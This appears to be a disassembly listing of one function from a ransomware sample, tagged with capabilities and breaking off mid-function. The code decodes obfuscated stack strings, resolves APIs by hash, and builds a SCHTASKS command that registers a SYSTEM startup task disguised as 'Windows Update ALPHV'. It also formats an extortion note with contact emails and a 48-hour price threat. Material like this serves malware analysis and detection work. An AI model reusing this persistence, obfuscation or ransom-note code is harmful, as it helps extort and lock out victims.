Function at 0x1400276a0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Reference public rsa key
Schedule task via schtasks

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x690]
sub rsp, 0x790
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0x680], rax
lea rax, [rbp - 0x68]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x30], 0x61b9d1
call fcn.140004bd0
test eax, eax
je 0x140029018
mov dword [rsp + 0x30], 0x61b9d1
call fcn.140001010
lea edx, [r15 + 0xf]
mov dword [rsp + 0x30], 0x61b9d1
lea r9d, [r15 + 0x55]
mov r8d, 0x8a0ae76f
call fcn.1400064a0
call rax
mov rcx, rax
call fcn.140026c50
cmp dword [0x140052d24], r15d
jne 0x14002786d
mov byte [rsp + 0x38], r15b
mov byte [rsp + 0x39], 0x56
mov byte [rsp + 0x3a], 0x69
mov byte [rsp + 0x3b], 0x47
mov byte [rsp + 0x3c], 0x65
mov byte [rsp + 0x3d], 0x78
mov byte [rsp + 0x3e], 0x78
mov byte [rsp + 0x3f], 0x2d
mov byte [rsp + 0x40], 0x65
mov byte [rsp + 0x41], 0x5e
mov byte [rsp + 0x42], 0x74
mov byte [rsp + 0x43], 0x4b
mov byte [rsp + 0x44], 0x5a
mov byte [rsp + 0x45], 0x78
mov byte [rsp + 0x46], 0x3e
mov byte [rsp + 0x47], WSAGetLastError
mov byte [rsp + 0x48], 0x4b
mov byte [rsp + 0x49], 0x61
mov byte [rsp + 0x4a], 0x65
mov byte [rsp + 0x4b], 0x56
mov byte [rsp + 0x4c], 0x24
mov byte [rsp + 0x4d], 0x3e
mov byte [rsp + 0x4e], 0x24
mov byte [rsp + 0x4f], 0x76
mov byte [rsp + 0x50], 0x33
mov byte [rsp + 0x51], 0x2f
mov byte [rsp + 0x52], 0x44
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x140027825
mov r9d, r15d
nop
movzx ecx, byte [rsp + r9 + 0x39]
mov eax, 0x81020409
sub ecx, 0x44
imul r8d, ecx, 0x22
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x39], r8b
inc r9
cmp r9, 0x1a
jb 0x1400277d0
mov edx, 0xf
mov r8d, 0x20d8fa8c
lea r9d, [rdx + 0x45]
call fcn.1400064a0
lea r8, [rsp + 0x39]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
mov r8d, 0xe0c23134
mov rbx, rax
lea r9d, [rdx + 0x53]
call fcn.1400064a0
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x140029018
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x48]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbp - 0x48], 1
jle 0x1400278c5
mov rdx, qword [rax + 8]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov r9, rax
lea r8, [rbp + 0x70]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s__s___F
lea rcx, [rbp + 0x280]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1400278dd
lea r8, [rbp + 0x70]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s___F
lea rcx, [rbp + 0x280]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x280]
lea r8, str.cmd.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r11d, 0x115
lea r9, [0x14004a8f0]
mov ebx, r11d
mov r10, r9
mov r8d, 0xffffffff
nop dword [rax]
movzx edx, byte [r10]
lea r10, [r10 + 1]
ror r8d, 0xd
movzx ecx, dx
or cx, 0x20
lea eax, [rdx - 0x41]
cmp ax, 0x19
cmova cx, dx
movzx eax, cx
add r8d, eax
add ebx, 0xffffffff
jne 0x140027920
mov ebx, r11d
mov r10, r9
nop
movzx edx, byte [r10]
lea r10, [r10 + 1]
ror r8d, 0xd
movzx ecx, dx
or cx, 0x20
lea eax, [rdx - 0x41]
cmp ax, 0x19
cmova cx, dx
movzx eax, cx
add r8d, eax
add ebx, 0xffffffff
jne 0x140027950
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
ror r8d, 0xd
movzx ecx, dx
or cx, 0x20
lea eax, [rdx - 0x41]
cmp ax, 0x19
cmova cx, dx
movzx eax, cx
add r8d, eax
add r11d, 0xffffffff
jne 0x140027980
lea rdx, str.XX__X
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0xf
mov r8d, 0x623e9318
lea r9d, [rdx + 0x3f]
call fcn.1400064a0
call rax
mov edx, 0xf
mov r8d, 0xe343b540
mov rbx, rax
lea r9d, [rdx + 0x40]
call fcn.1400064a0
mov edx, 8
mov r8d, 0x4000
mov rcx, rbx
call rax
lea rcx, str.logical_link_tutamail.com
mov qword [0x140052d48], rax
mov qword [rsp + 0x20], rcx
lea r9, str.sup.logical_gmail.com
mov rcx, rax
lea r8, [rbp - 0x10]
lea rdx, str.____Your_files_have_been_encrypted_____r_nTo_recover_them__contact_us_via_emails_r_nWrite_the_ID_in_the_email_subject._r_n_r_nID:__s_r_n_r_nEmail1:__s_r_nEmail2:__s_r_n_r_nBefore_paying_you_can_send_2_3_files_less_than_1MB__we_will_decrypt_them_to_guarantee._r_n_r_nIF_YOU_DO_NOT_TAKE_CARE_OF_THIS_ISSUE_WITHIN_THE_NEXT_48_HOURS__YOU_WILL_FACE_DOUBLE_PRICE_INCREASE._r_nWE_DONT_PLAY_AROUND_HERE__TAKE_THE_HOURS_SERIOUSLY.
call fcn.1400266c0
cmp dword [0x140051a20], 0xe
mov edx, 0xf
jne 0x140027b22
lea rax, [0x140052e80]
mov qword [0x140052e80], r15
lea r9d, [rdx + 0x3a]
mov qword [0x140052e88], rax
mov r8d, 0xddde40d3
mov qword [0x140052e48], 1
mov dword [0x140052e50], r15d
call fcn.1400064a0
lea rcx, [0x140052e58]
call rax
mov ecx, 8
call fcn.140032524
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x140052e40], rax
test rax, rax
je 0x140029018
cmp qword [0x140052e48], rcx
mov rbx, r15
mov dword [0x140052e50], 1
jbe 0x140027af9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400064a0
lea r9, [0x140052e40]
mov qword [rsp + 0x28], r15
lea r8, [0x14002bd00]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140052e40]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140052e48]
jb 0x140027ab0
lea rdx, [0x140051a40]
lea rcx, [rsp + 0x58]
call fcn.1400260c0
mov rdx, rax
xor ecx, ecx
call fcn.14002bfa0
xor ecx, ecx
call fcn.14002c160
xor eax, eax
jmp 0x14002901d
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.1400064a0
lea rcx, [rbp - 0x40]
call rax
movzx r8d, word [rbp - 0x40]
mov eax, 0x55555556
mov dword [rsp + 0x30], 0x613683
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027bb5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140027b7f
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140027d32
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140027bac
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140027b90
jmp 0x140027d32
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140027c28
mov ecx, 2
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140027d32
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027c00
jmp 0x140027d32
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140027ca4
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140027c56
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140027d32
nop
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140027c83
dec eax
jmp 0x140027c85
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140027c9b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140027c60
jmp 0x140027d32
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140027d32
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140027d32
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140027d13
inc eax
jmp 0x140027d15
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027cf0
cmp dword [0x140051a20], 0xa
jne 0x140027d40
mov esi, dword [rbp - 0x20]
jmp 0x140027d46
mov eax, dword [rbp - 0x20]
lea esi, [rax + rax]
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027db6
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140027d89
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140027f32
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140027dad
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140027d91
jmp 0x140027f32
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140027e28
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140027f32
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027e00
jmp 0x140027f32
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140027ea4
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140027e55
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140027f32
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140027e83
dec eax
jmp 0x140027e85
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140027e9b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140027e60
jmp 0x140027f32
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140027f32
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140027f32
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140027f13
inc eax
jmp 0x140027f15
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140027ef0
mov eax, dword [0x140051a20]
add eax, 0xfffffff6
cmp eax, 1
ja 0x1400283e2
mov edx, 0xf
mov qword [0x140052e80], r15
lea rax, [0x140052e80]
mov qword [0x140052e48], r14
mov r8d, 0xddde40d3
mov qword [0x140052e88], rax
mov dword [0x140052e50], r15d
lea r9d, [rdx + 0x3a]
call fcn.1400064a0
lea rcx, [0x140052e58]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140032524
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14002d6c0
mov qword [0x140052e40], rdi
test rdi, rdi
je 0x140029018
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028025
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140027ff4
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140028192
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002801c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140028000
jmp 0x140028192
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140028089
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028192
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028061
jmp 0x140028192
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140028104
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400280b6
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140028192
nop
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400280e3
dec eax
jmp 0x1400280e5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400280fb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1400280c0
jmp 0x140028192
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028192
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028192
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028173
inc eax
jmp 0x140028175
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028150
mov rbx, r15
mov dword [0x140052e50], 1
cmp qword [0x140052e48], rbx
jbe 0x1400281f9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400064a0
lea r9, [0x140052e40]
mov qword [rsp + 0x28], r15
lea r8, [0x14002bd00]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140052e40]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140052e48]
jb 0x1400281b0
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028266
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140028239
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400283e2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002825d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140028241
jmp 0x1400283e2
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x1400282d8
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400283e2
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400282b0
jmp 0x1400283e2
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140028354
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028305
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400283e2
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028333
dec eax
jmp 0x140028335
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14002834b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140028310
jmp 0x1400283e2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400283e2
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400283e2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400283c3
inc eax
jmp 0x1400283c5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400283a0
mov eax, dword [0x140051a20]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x140028892
mov edx, 0xf
mov qword [0x140052e30], r15
lea rax, [0x140052e30]
mov qword [0x140052df8], r14
mov r8d, 0xddde40d3
mov qword [0x140052e38], rax
mov dword [0x140052e00], r15d
lea r9d, [rdx + 0x3a]
call fcn.1400064a0
lea rcx, [0x140052e08]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140032524
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14002d6c0
mov qword [0x140052df0], rdi
test rdi, rdi
je 0x140029018
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400284d5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400284a6
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140028642
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400284cc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400284b0
jmp 0x140028642
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140028539
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028642
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028511
jmp 0x140028642
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x1400285b4
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140028566
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140028642
nop
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028593
dec eax
jmp 0x140028595
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400285ab
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140028570
jmp 0x140028642
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140028642
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028642
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140028623
inc eax
jmp 0x140028625
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028600
mov rbx, r15
mov dword [0x140052e00], 1
cmp qword [0x140052df8], rbx
jbe 0x1400286a9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.1400064a0
lea r9, [0x140052df0]
mov qword [rsp + 0x28], r15
lea r8, [0x14002bd00]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140052df0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140052df8]
jb 0x140028660
mov dword [rsp + 0x30], 0x613683
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028716
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400286e9
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140028892
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14002870d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400286f1
jmp 0x140028892
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140028788
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140028892
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140028760
jmp 0x140028892
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140028804
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400287b5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140028892
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400287e3
dec eax
jmp 0x1400287e5
inc eax
mov dword [rsp + 0x30], eax
